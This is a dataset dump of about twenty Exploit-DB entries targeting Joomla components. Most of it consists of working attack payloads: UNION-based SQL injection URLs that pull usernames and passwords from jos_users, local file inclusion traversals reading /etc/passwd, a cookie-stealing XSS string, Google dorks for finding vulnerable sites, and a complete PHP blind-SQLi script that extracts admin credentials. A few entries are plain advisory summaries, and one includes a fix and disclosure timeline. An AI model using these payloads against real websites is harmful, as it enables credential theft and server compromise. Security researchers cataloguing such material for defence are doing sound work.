deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11449
Description: Joomla! Component com_videos - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-14
Author: snakespc

Exploit:
http://server/index.php?option=com_videos&act=view&Itemid=27&id=-1084+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+jos_users

Snakespc
Exploit-DB #35984
Description: Joomla! Component com_virtualmoney 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-25
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/48883/info

The 'com_virtualmoney' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Virtual Money 1.5 is affected; other versions may also be vulnerable. 

www.example.com/index.php?option=com_virtualmoney&view=landpage&task=subcategory&catid=[EXPLOIT]
Exploit-DB #11271
Description: Joomla! Component com_virtuemart - order_status_id SQL Injection
Type: webapps
Platform: php
Date: 2010-01-27
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_virtuemart) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var order_status_id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.1.4 stable but probably other versions also
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=[SQL]&option=com_virtuemart
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=-1%27+UNION+ALL+SELECT+1,username,password,@@version,database%28%29,6+FROM+jos_users%23&option=com_virtuemart

[~]>> Note: There are more affected vars.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #10407
Description: Joomla! Component com_virtuemart 1.0 - 'Product_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-13
Author: SOA Crew

Exploit:
[#] Title:
Joomla Component com_virtuemart SQL injection vulnerability (product_id)

[#] Author: 
SOA Crew a.k.a Neo-GabrieL
[gabriel_666@rocketmail.com]
visit us:
http://indonesianhacker.com/

**********************************/

[#] Software Information
 Vendor : http://virtuemart.net/
 Download : -
 Version : 1.0
 Vulnerability : SQL injection
 Dork : inurl:"com_virtuemart"
 Price : Free
 Date : 07-12-09
================================================

[#] Vulnerable
http://localhost/index.php?page=shop.product_details&flypage=shop.flypage&product_id=[SOA injection]

[#] Exploit
6995+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(username,0x3a,password,0x3a,gid,0x3a,id),26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+jos_users--

[#] Ex. Query
+limit+1,1--&category_id=10&manufacturer_id=11&option=com_virtuemart&Itemid=1&vmcchk=1&Itemid=1-

[#] Live Demo
http://site.com/index.php?page=shop.product_details&flypage=shop.flypage&product_id=6995+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(username,0x3a,password,0x3a,gid,0x3a,id)Gabriel,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+jos_users+limit+1,1--&category_id=10&manufacturer_id=11&option=com_virtuemart&Itemid=1&vmcchk=1&Itemid=1

**********************************/

[#] Thx to
- HI Cyber4rt crew 
[Facebook: Hacker Indonesia]
- all Soldier of Allah, Tecon Crew, Jatimcrew, Indonesian Hacker and specially for YOU
Exploit-DB #35293
Description: Joomla! Component com_virtuemart 1.1.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-31
Author: Andrea Fabrizi

Exploit:
source: https://www.securityfocus.com/bid/46070/info

The VirtueMart eCommerce component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VirtueMart eCommerce 1.1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?category_id=&page=shop.browse&option=com_virtuemart&Itemid=1&keyword1=hand&search_op=and&keyword2=&search_limiter=anywhere&search=Search&search_category=3
AND $BLIND_SQL --
Exploit-DB #27879
Description: Joomla! Component com_virtuemart 2.0.22a - SQL Injection
Type: webapps
Platform: php
Date: 2013-08-26
Author: Matias Fontanini

Exploit:
------------------------------------------------------------
Joomla! VirtueMart component <= 2.0.22a - SQL Injection
------------------------------------------------------------

== Description ==
- Software link: http://www.virtuemart.net/
- Affected versions: All versions between 2.0.8 and 2.0.22a are vulnerable.
- Vulnerability discovered by: Matias Fontanini

== Vulnerability ==
The vulnerability is located in the "user" controller, "removeAddressST" 
task. The "virtuemart_userinfo_id" parameter is not properly sanitized 
before being used in the "DELETE" query performed in it, allowing the 
execution of arbitrary SQL queries.

In order to exploit the vulnerability, an attacker must be authenticated 
as a customer in the application. However, since the system allows free 
account registration, this is not a problem.

== Proof of concept ==
The following example URL uses the MySQL "sleep" function through the 
injection:

http://example.com/index.php?option=com_virtuemart&view=user&task=removeAddressST&virtuemart_userinfo_id=16%22%20and%20sleep(10)%20and%20%22%22%3D%22

== Solution ==
Upgrade the product to the 2.0.22b version.

== Report timeline ==
[2013-08-15] Vulnerability reported to vendor.
[2013-08-16] Developers answered back.
[2013-08-22] VirtueMart 2.0.22b was released, which fixes the the 
reported issue.
[2013-08-22] Public disclosure.
Exploit-DB #36634
Description: Joomla! Component com_visa - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2012-01-28
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51726/info

The 'com_visa' component for Joomla! is prone to a local file-include vulnerability and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the affected application. Information harvested may aid in further attacks.

The attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control. 

http://www.example.com/index.php?option=com_visa&controller=../../../../../../../../../../../../../etc/passwd%00

http://www.example.com/index.php?option=com_visa&view=book&id=23' + [SQL Injection]

http:/www.example.com/index.php?option=com_visa&Itemid=35&page=4' + [SQL Injection]
Exploit-DB #35929
Description: Joomla! Component com_voj - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-08
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/48621/info

The 'com_voj' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ [PATH]/index.php?option=com_voj&task=viewCode&id=215 and 1=1
Exploit-DB #11790
Description: Joomla! Component com_vxdate - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-17
Author: MustLive

Exploit:
-------------------------------------------------------------------------------------------------------------

I want to warn you about vulnerabilities in component VXDate for Joomla.


-----------------------------

Advisory: Vulnerabilities in VXDate for Joomla

-----------------------------

URL: http://websecurity.com.ua/3849/

-----------------------------

Timeline:



10.05.2009 - found the vulnerabilities.

12.01.2010 - announced at my site.

18.01.2010 - informed developers.

13.03.2010 - disclosed at my site.

-----------------------------

Details:

These are Full path disclosure, SQL Injection and Cross-Site Scripting vulnerabilities.


Full path disclosure:

http://site/index.php?option=com_vxdate&ct=’

http://site/index.php?option=com_vxdate&ct=1&md=details&id=’

http://site/index.php?option=com_vxdate&ct=1&md=editform&id=’



SQL Injection:

http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20version()=5

http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20version()=5


XSS:

http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Vulnerable are potentially all versions of VXDate.
Exploit-DB #11867
Description: Joomla! Component com_wallpapers - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-24
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_wallpapers SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-24

[~]######################################### InformatioN #############################################[~]

[~] Title     : Joomla Component com_wallpapers SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com

[~]#########################################   ExploiT   #############################################[~]

[~] Vulnerable File :

http://127.0.0.1/index.php?option=com_wallpapers&act=albums&cid=[SQL]

[~] ExploiT         :

-1+UNION+SELECT+1--

[~] Example         :

http://127.0.0.1/iindex.php?option=com_wallpapers&act=albums&cid=-1+UNION+SELECT+1--


[~]######################################### ThankS To ... ############################################[~]

[~] Special Thanks To My Best FriendS :

Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS

[~] IRANIAN Young HackerZ

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #7833
Description: Joomla! Component com_waticketsystem - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-19
Author: InjEctOr5

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_waticketsystem Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                            == inject0r5 t3am ==
#
#    usegae : php file.php "http://site/index.php?option=com_waticketsystem&act=category&catid=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-19]
Exploit-DB #12111
Description: Joomla! Component com_webeecomment 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-08
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component Webee Comments Local File Inclusion Vulnerability
 
       Software : com_webeecomment version 2.0
       Vendor   : http://www.onnogroen.nl/webee/
       Author   : AntiSecurity [ s4va NoGe Vrs-hCk OoN_BoY Paman zxvf ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_webeecomment&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_webeecomment&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews kaka11 wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================================


  [o] April 08 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #33812
Description: Joomla! Component com_weblinks - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: Pouya Daneshmand

Exploit:
source: https://www.securityfocus.com/bid/39032/info

The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_weblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5
Exploit-DB #12230
Description: Joomla! Component com_wgpicasa - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
==============================================================================================================


  [o] Joomla Component wgPicasa Local File Inclusion Vulnerability
 
       Software : com_wgpicasa version 1.0
       Vendor   : http://www.wgjoomla.com/cms/
       Author   : AntiSecurity [ s4va Vrs-hCk NoGe OoN_BoY Paman zxvf ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_wgpicasa&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_wgpicasa&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==============================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #39098
Description: Joomla! Component com_wire_immogest - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-17
Author: MR.XpR

Exploit:
source: https://www.securityfocus.com/bid/65606/info

Wire Immogest component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_wire_immogest&view=object&id=[SQL Injection]
Exploit-DB #12056
Description: Joomla! Component com_wisroyq 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: NoGe

Exploit:
============================================================================================================================


  [o] Joomla Component WISro Yahoo Quotes Local File Inclusion Vulnerability
 
       Software : com_wisroyq version 1.1.x [ commercial ]
       Vendor   : http://www.wis.ro/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


============================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_wisroyq&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_wisroyq&controller=../../../../../../../../../../../../../../../etc/passwd%00


  [o] Solution

       Upgrade to a higher version


============================================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella pizzyroot
       H312Y yooogy mousekill }^-^{ noname matthews s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===========================================================================================================================
Exploit-DB #14128
Description: Joomla! Component com_wmtpic 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: RoAd_KiLlEr

Exploit:
1                ###########################################           1
0                I'm **RoAd_KiLlEr**  member from Inj3ct0r Team        1
1                ###########################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+]Title     : Joomla  Component  com_wmtpic  SQL Injection Vulnerability
[+]Author    : **RoAd_KiLlEr**
[+]Contact   : RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on : Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Vendor: http://www.webmaster-tips.net
[~] Download App:http://www.webmaster-tips.net/Download/View-details/9-Joomla-Components/183-Joomla-1.5-Flash-Gallery-wmtPic.html
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Flash based image gallery for Joomla. Joomla component wmtPic, with thumbnail support, caption and multiple file upload option. Although it is not a must, it is better to put a link back to this site "Joomla component by Webmaster-tips.net " on your website if you can. This Joomla 1.5 Component is licensed under the GPLv2.0.

=========================================

[+] Dork: inurl:"com_wmtpic"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_wmtpic&Itemid=[] <== SQL-i
Exploit-DB #12180
Description: Joomla! Component com_worldrates - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
================================================================================================================


  [o] Joomla Component World Rates Local File Inclusion Vulnerability
 
       Software : com_worldrates
       Vendor   : http://dev.pucit.edu.pk/
       Download : http://dev.pucit.edu.pk/files/worldrates.zip
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_worldrates&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #36834
Description: Joomla! Component com_x-shop - 'idd' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/52077/info

The X-Shop component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_x-shop&action=artdetail&idd='
Exploit-DB #36593
Description: Joomla! Component com_xball - 'team_id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-23
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/51618/info

The 'com_xball' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

 http://www.example.com/index.php?option=com_xball&controller=teams&task=show&team_id=-98 (SQL)